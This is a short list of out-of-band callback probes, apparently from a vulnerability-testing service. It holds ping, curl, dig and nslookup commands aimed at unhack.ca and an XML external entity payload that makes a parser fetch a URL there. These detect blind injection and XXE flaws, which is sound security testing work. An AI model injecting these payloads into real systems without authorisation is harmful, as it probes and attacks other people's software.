$ ping -c1 -p 00a0dd902ac1ff0e1bf782bb4a935300 unhack.ca
$ curl http://unhack.ca/p/a0dd902ac1ff0e1bf782bb4a9353
$ dig a0dd902ac1ff0e1bf782bb4a9353 @unhack.ca
$ dig a0dd902ac1ff0e1bf782bb4a9353.ns.unhack.ca
C:\> nslookup a0dd902ac1ff0e1bf782bb4a9353 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/a0dd902ac1ff0e1bf782bb4a9353">]> <foo>&xxe;</foo>